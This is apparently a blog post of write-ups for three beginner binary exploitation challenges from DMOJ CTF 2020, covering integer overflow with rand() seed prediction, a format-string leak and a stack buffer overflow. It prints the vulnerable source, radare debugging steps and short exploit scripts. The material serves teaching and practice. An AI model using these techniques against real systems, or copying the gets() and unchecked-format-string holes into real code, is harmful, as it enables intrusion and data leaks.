Intro to Binary Exploitation - DMOJ CTF 2020 Writeups
- Posted: July 27, 2020
- Updated: July 8, 2023
This blog post covers the solutions to the binary exploitation problems of DMOJ CTF ‘20. If you want to try the problems by yourself, either before or after reading this writeup, the links are below:
These problems are relatively simple and cover some of the most basic techniques when it comes to binary exploitation so don’t be scared to give them a try. All of these techniques can become very useful later down the line and are often used as part of larger, more complex exploits.
Super Secure Pseudorandom Number Generator
This problem had a simple menu which allowed the generation of random numbers and guessing of a single random number. If the correct number was guessed, the flag would get printed to stderr
and you would solve the challenge.
This first section of code can be seen initializing the rand()
seed with the current time (in seconds) and setting the balance to 999999999
:
srand(time(NULL));
int balance = 999999999;
Generation
Now here is the section that allows you to generate some random numbers if you have enough balance:
while (scanf("%d", &count) != 1);
if (!(1 <= count && count <= 20))
{
printf("Number %d not in range.\n", count);
return 1;
}
else if (500000000 * count > balance)
{
printf("You do not have enough money!\n");
return 1;
}
balance -= 500000000 * count;
printf("Success!\nHere are your %d numbers.\n", count);
for (int i = 1; i <= count; i++)
{
printf("%d\n", rand());
}
As we can see, it allows you to generate anywhere from 1 to 20 random numbers, but the important aspect is the 500000000 * count > balance
and subsequent balance -= 500000000 * count
sections. We need to use these to get a balance which will allow us to pay for the guessing of a random number since the starting value of 999999999
is less than 1000000000
.
What we find is that if we ask to generate a specific number of flags, such as 5
, we can overflow the 500000000 * count
to bypass the check and overflow the balance
to be able to guess a random number later on. Let’s see how the overflow happens below:
500000000 * 5 = 2500000000
2500000000
is over the maximum C integer of INT_MAX = 2**31-1 = 2147483647
so the new value can be calculated as follows based on the minimum C integer of INT_MIN = -2**31 = -2147483648
:
2500000000 - 2147483647 = 352516353
-2147483648 + 352516353 = -1794967296
This value is certainly less than our current balance, so we proceed without receiving "You do not have enough money!"
. A similar process happens to our balance, leaving it at -1500000001
.
Guessing
Moving on to the generation of the random number for us to guess, we see the code below:
balance -= 1000000000LL;
if (balance < 0)
{
printf("You do not have enough money!\n");
return 1;
}
printf("Enter the secret code: ");
while (scanf("%d", &count) != 1);
if (count != rand())
{
printf("Wrong number!\n");
return 1;
}
// Flag printing routine here.
The initial balance check gets bypassed because of the previous steps, with the exact math involved being left as an exercise to the reader.
Exploiting
With that, all we need to do is guess the outcome of the 6th rand()
call (6 because we asked for 5 random numbers before which all called rand()
once).
What we know from the very start is that the seed was set with srand(time(NULL))
which returns the current time, in seconds, since the first of January 1970.1 Because our own code and the problem run at nearly the same time, we can mimic this behavior exactly to print the flag and with the problem.
The full exploit is below:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(time(NULL))
printf("1\n5\n2\n");
for (int i = 0; i < 5; i ++) {
rand();
}
printf(rand());
}
Strings
This problem’s solution is arguably simpler than the last, but requires some knowledge of C and format strings. The entire problem code is below:
#pragma GCC optimize("O0")
#include <stdio.h>
#include <unistd.h>
int
main()
{
fprintf(stderr, "Welcome to echo, live edition!\n");
fprintf(stderr, "Enter something and this program will repeat it.\n");
char something_secret[64];
FILE *f = fopen("flag", "r");
if (f == NULL)
{
fprintf(stderr, "Failed to open flag file.\n");
return 1;
}
fgets(something_secret, 64, f);
char data[64] = {0};
read(0, data, 63);
fprintf(stderr, data);
return 0;
}
This program uses the read
function to safely read user input, so we can’t exploit any overflows of the data
buffer. However, fprintf
will gladly accept format strings (as described in man 3 fprintf
). This means that the following 6 character input will leak the flag:
%s%s%s
Explanation
First off, this problem is both hardware dependent2 and glibc dependent. The DMOJ Judge has these kept constant across runs during the contest, but competitors’ glibc versions are different and some make the intended solution impossible to test locally. The solution of %s%s%s
will read the values pointed to by the registers rdx
, rcx
, and r8
in that order. The values they point to are described below:
rdx
points to the input buffer – in this case%s%s%s
.rcx
points to the value filled in by thesyscall
inside ofread
which is hardware dependent.r8
points to thesomething_secret
buffer which stores the flag. The fact thatr8
is used is glibc dependent.
Classic Buffer Overflow
We now come to the final problem which has the solution in its name. The goal of the problem is to run a function called win
whose pointer is printed on startup. Below is the entire source code of the problem:
#pragma GCC optimize("O0")
#include <stdio.h>
#include <stdlib.h>
void
win()
{
char buf[64];
FILE *f = fopen("flag", "r");
if (f == NULL)
{
printf("Failed to open flag file.\n");
exit(1);
}
fgets(buf, 63, f);
fprintf(stderr, buf);
}
void
vuln()
{
char buf[100];
gets(buf);
puts(buf);
}
int
main()
{
printf("%p\n", win);
fflush(stdout);
vuln();
return 0;
}
All we have to do is overflow the buf
buffer and change the return pointer to win
.
Exploitation
While you could just guess how many characters you need (in chunks of 4 after the 100 allocated for the buffer), and that is what I did for this challenge, I’ll go through one of the theoretically correct ways to do this challenge with radare.
To make my life easier, I have a simple python script that uses pwntools to startup the script and then enter the alphabet as input. It waits for the user to press Enter before sending the data so I have time to attach to the process with radare. Here it is below:
from pwn import *
p = process('./98972d672b0bcd184c0c6769bb083863-main')
sys.stdin.readline()
sol = b'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ'*2
p.sendline(sol)
After running this, we can get the PID and start radare with r2 -d <pid>
. We can then proceed with seeking to main with s main
, opening up visual mode with V
and switching to the disassembly view with p
. Looking closely, we can see the call to the function that we are interested:
0x00401270 e89bffffff call 0x401210
Let’s go there with s 0x401210
. The entire disassembly can be seen here:
| 0x00401210 55 push rbp
| 0x00401211 4889e5 mov rbp, rsp
| 0x00401214 4883ec70 sub rsp, 0x70
| 0x00401218 488d4590 lea rax, [var_70h]
| 0x0040121c 4889c7 mov rdi, rax
| 0x0040121f b800000000 mov eax, 0
| 0x00401224 e847feffff call sym.imp.gets ;[1] ; char *gets(char *s)
| 0x00401229 488d4590 lea rax, [var_70h]
| 0x0040122d 4889c7 mov rdi, rax
| 0x00401230 e8fbfdffff call sym.imp.puts ;[2] ; int puts(const char *s)
| 0x00401235 90 nop
| 0x00401236 c9 leave
| 0x00401237 c3 ret
| 0x00401238 0f1f84000000. nop dword [rax + rax]
To find out where we are going to return to, let’s continue running the program until after the puts
call, at the leave
instruction, with dcu 0x00401236
. Now press enter in the running Python script to have it send the alphabet. You should then see the message hit breakpoint at: 401236
in radare. Press Enter once to exit out of the radare prompt and press P
to switch to a hex view.
The return address is pointed to by rbp
, so seek there with s rbp
. Here we see:
0x7ffe6db1ab70 4343 4343 4444 4444 4545 4545 4646 4646 |CCCCDDDDEEEEFFFF| ; rbp
0x7ffe6db1ab80 4747 4747 4848 4848 4949 4949 4a4a 4a4a |GGGGHHHHIIIIJJJJ|
0x7ffe6db1ab90 4b4b 4b4b 4c4c 4c4c 4d4d 4d4d 4e4e 4e4e |KKKKLLLLMMMMNNNN|
0x7ffe6db1aba0 4f4f 4f4f 5050 5050 5151 5151 5252 5252 |OOOOPPPPQQQQRRRR|
0x7ffe6db1abb0 5353 5353 5454 5454 5555 5555 5656 5656 |SSSSTTTTUUUUVVVV|
0x7ffe6db1abc0 5757 5757 5858 5858 5959 5959 5a5a 5a5a |WWWWXXXXYYYYZZZZ|
Which means that this function will return to CCCC
, but that’s not a valid address. However, this tells us exactly where to write our address. Our new input should look as follows:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBB<address>
The address we want to use is 0x4011a0
(found either with radare or as output from the program) which is b'\xa0\x11@\x00\x00\x00\x00\x00'
in Python hex (which can be found using pwntools’s p64
with p64(0x4011a0)
). Now all you have to do is write a script that outputs exactly that (or any other 120 bytes plus the address) and you get the flag.
import sys
sys.stdout.buffer.write(b'a'*120 + b'\xa0\x11@\x00\x00\x00\x00\x00')